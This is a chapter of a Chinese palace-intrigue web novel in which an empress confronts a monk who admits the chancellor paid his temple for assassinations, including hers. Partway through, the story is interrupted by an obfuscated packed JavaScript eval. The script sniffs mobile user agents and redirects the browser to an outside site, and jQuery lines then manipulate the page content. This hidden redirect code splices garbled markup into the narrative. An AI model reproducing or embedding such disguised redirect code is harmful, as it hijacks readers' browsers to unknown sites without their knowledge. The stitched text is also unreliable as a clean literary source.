困意顿时被驱散了不少,楚知默强打起精神坐了起来,
从来到大兴善寺后她就一直有种感觉,像是被人推动着往前走的感觉。
如果她中毒是幕后之人计划的一部分,那么他的目的大概率是大兴善寺。
所以最有问题的就是留下来的两个人,裴寂也和左高卓。
可现在,裴寂也因为和她一起被追杀而身受重伤,如果这是他计划中的一部分,目的是什么?
但如果幕后之人是左高卓,将他们引导大兴善寺又是为了什么?破釜沉舟?想要把他们两个一起解决掉?
还有那间密室,和早就埋伏好的刺客。
那为什么谢既明离开时什么都没有发生?
抱着满肚子的疑惑,楚知默彻底没了睡意,她得再去看看那间密室。
在赵齐关担忧的目光中,楚知默披了身夜行衣后唤出了影三,两人趁着夜色重新巡视了遍这座迷雾重重的寺庙。
庙中亮起的火光并不多,楚知默粗略地逛了一遍影卫搜查后觉得有嫌疑的地方,但最终什么都没有找到。
无论是不对劲的地方,亦或者是能藏在几千人的屋子她都没有找到。
说实话,她不是没想过这座寺庙里还会有密道,但如果都像是了缘屋子里一样藏得那么隐秘,那他们能发现的概率并不高,
而且如此大的工程不可能一点记录都没有留下。
谢既明可不是酒囊饭袋,他有着不同于寻常人的敏锐和执着,
就像上次他抄了太常少卿的家后扒出了背后的大兴善寺。
如果说,这几千人都剃了头发伪装成了和尚,更不是那么好藏的。
想到这儿,楚知默的脚步一顿,
是啊,如果丞相只是单单将他们藏起来,那么他们大可以伪装成普通人,大隐隐于市,
现在剃了头反而惹眼不是?
小心注意着四周的影三余光瞥见身侧人突然停住了脚步,以为她的身体又不舒服了,也停了下来,
“陛下?”
陷入了沉思的楚知默被影三唤回神,这才发现他们已经到了了缘门外,摇了摇头表示没事。
了缘屋内的烛火并没有熄灭,偌大的寺庙到了晚上没有了蝉鸣,空洞得吓人。
冷风趁着夜色肆无忌惮地往楚知默的怀里钻,冻得她一激灵。
但目光仍旧没有离开那扇映着了缘影子的窗户。
从密室中带走的账簿上,清楚地记录了这些年借由太常少卿之手汇入寺庙的银子,
也记录了每月非比寻常的开销。
了缘起码是幕后之人的马前卒。
忽的,楚知默紧盯着的窗户上的影子动了,是屋里一直坐着的人起了身。
影三的功夫好,为了隐蔽,影三轻松地将她拉上了后墙的墙头,身前刚好有些树枝遮挡。
她下意识往后藏了藏,但紧接着就看到靠近后墙的窗户被打开了,而站在窗前的正是了缘,
他开窗后第一眼便与楚知默对上了视线。
楚知默心一动,他们是怎么会被发现的?
在她怔愣地目光中,面容平静的和尚开了口,“陛下,既然来了,不妨进来坐坐。”
很难形容楚知默是以什么样的心情从窗户跳进了了缘的房间。
身后的影三紧锁着眉头,手在了缘开窗的那一刻就死死握在了剑柄上,时刻准备拔剑。
在了缘的示意下,楚知默坐到了桌对面,而了缘也为她倒了杯茶,
“寺中经营不善,招待陛下的也就是这些粗茶淡饭,还望陛下见谅。”
楚知默垂眼看向被磕坏了茬儿的杯子,却没有动作,
说心里不忐忑是不可能的,她也不知道为什么她一个来试图偷偷再次潜入人家禅房的人,转瞬间就心平气和地坐在了这位她始终都看不透的和尚对面。
更何况,这来路不明的茶,她是真不敢喝,
虽然她觉得了缘不会真的傻到当面下毒就是了。
但望着已经在自己对面悠哉撵着念珠的和尚,满肚子的疑惑都堵到了嘴边,
最后,楚知默听见自己问出了口,
“大师是怎么发现我们就在那里的?”
喝着茶的人眼底略微露出了惊讶,但面上依旧是那副荣辱不惊的模样,
“贫僧实在没想到陛下问的第一个问题,居然会是这个?”
说实话,楚知默也没想到,她有些不自在地抿住了唇,就看到了缘手臂微抬,轻轻点了点他的耳朵,
“自小,贫僧的耳力便异于常人,百米之内,无论是人声笑语,或是飞虫鸟叫,就连陛下的心跳声贫僧都能纳于耳。”
了缘面不改色说出了让楚知默背后一凉的话。
楚知默不是没见过奇人,就像影七,
影七的骨骼清奇,出奇得柔软,她从前亲眼目睹过影七将自己的身体缩进一个还没有她膝盖高的盒子里。
但她从来没有见过或是听说过,像了缘大师这样恐怖的能力。
百米内,对他来说将如同探囊取物,没有一丝秘密。
楚知默试图想像了一下,如果自己是了缘,那么她的耳边将无时无刻充斥着声响,
白天,从未间断的诵经声,僧人的交谈声,就连寺庙中前来参拜的人的低语,无论是哪一个都足够让她崩溃,
哪怕夜深人静,微风带起树叶发出的哗啦声响都将搅得她不得安宁。
这是多么折磨人的能力。
她再看向了缘时,眼中多了复杂的情愫,手指摸上了自己的耳朵,几乎脱口而出,
“大师活得也挺不容易的。”
这句话,显然也在了缘的意料之外,这是楚知默第二次见他低头后轻笑出声,
“陛下的每句话都让人出乎意料,但却又在情理之中。”
虽然她并不是能全然理解了缘莫名出现的情绪,但她能够感受到身后蓄势待发的影三,
这才拉回了正题,
“大师,我们也就不绕圈子了,您其实知道我们进了密室对吧?”
果然,对面的了缘点了头,
“对,从你和谢大人进到屋里到从后暗门离开,贫僧都知晓。”
这下,不光是影三,楚知默的眼神也暗了下来。
了缘不能留。
了缘在楚知默神情变了的那一刻就感知到了她的情绪变化,但他却并没有露出一点紧张或是害怕,面容上依旧挂着像是被捏出的泥塑般的慈悲。
“你是丞相的人?”
楚知默没了试探的心思,直接开门见山,
但这次,了缘给她的答案却让她一愣,
只见了缘微微摇头,语气平缓地说道,“是,也不是。”
是也不是?这是什么答案?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457723|185363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“丞相会借太常少卿的手每月向庙里捐钱,每月百两白银,三年间从未间断。”
了缘的直白打了楚知默一个措手不及,一时嘴巴张了半天也没说出一个字,
可能是因为了缘的态度端得太正,她没有从他的语气中听出一点了缘对丞相的畏惧或是害怕,
反而听出了一种似有似无的,平等。
对,是平等,没有伏低做小,没有谄媚。
这种语气从来不会出现在裴寂也和丞相对她说话的语气中,
因为他们对上她时,骨子里透露出了蔑视和傲慢,所以字眼中总是带着上位者的颐指气使。
楚知默眉心微蹙,衣袍下遮掩着的手开始摩挲袖袍,
“既如此,为什么说不是?”
抠字眼没有任何意义,因为了缘所说的话与他是丞相的人是一个意思。
了缘从容地打坐,眼底波澜不惊,
“陛下可以将这理解成一种交易。”
这话一出,楚知默彻底糊涂了,
什么叫,交易?
一个让人不可思议的想法冒了出来,
“也就是说,丞相出钱,买你们为他做事?”
她的话语中满是不可置信,但就在这一句没有一个字能让人接受的话中,了缘点了头。
这下,楚知默和影三都沉默了。
有意思啊,这竟然是交易。
了缘没有打破这份沉默,静静等待着楚知默消化突如其来的震惊,
只是楚知默心底转地飞快,眼中思绪也不断闪烁,将从一开始她就很好奇事问出了口,
“大师为什么要将这一切告诉朕?”
就算他说的是真的,那么他和丞相也是合作关系,他这么毫无顾忌地出卖雇主,天底下没有这个道理。
“因为贫僧从来不妄语。”
更长久的沉默蔓延开来。
楚知默再望向了缘时,眼底隐隐有了怒意,这和尚是不是在耍她?
但可能是了缘神情过于认真,又让楚知默挑不出毛病,好多话在嘴边转了又转,
最后,她还是接着问了下去,
“那你们都帮丞相做了什么?”
了缘淡淡地说道,“三年来,丞相很少与我们接触,只买过三次结果,第一次,买一个刺史之死,第二次,买一个人,第三次,他买陛下死。”
楚知默眉头微扬,语调都有些上扬,
“三千多两白银,就买了三个人死?”
在她难以置信的目光中,了缘点了点头,
一个刺史,一个人,还有她,
她的丞相还真是挥金如土。
虽然了缘的话仍存疑,但此时她已经信了大半,再看向他时目光难掩不解,
杀人放火,无恶不作,他们每日在寺庙中装得人模人样披着僧袍,受着万家香火和簇拥。
此刻,楚知默看着他身后墙壁上偌大一个禅字,只觉得可笑。
她再看向了缘时,由心底生出一股毛骨悚然之感,
这人眼窝不深,双目半睁,鼻梁丰隆挺直,唇线柔和,身着一件洗得发白的灰布僧袍,
昏暗的烛火下,就连眼角的细纹都流淌着暖意,仿佛含着悲悯。
佛面鬼心。
这四个字刻在了楚知默的心里,
他比青面獠牙的鬼更加可怕。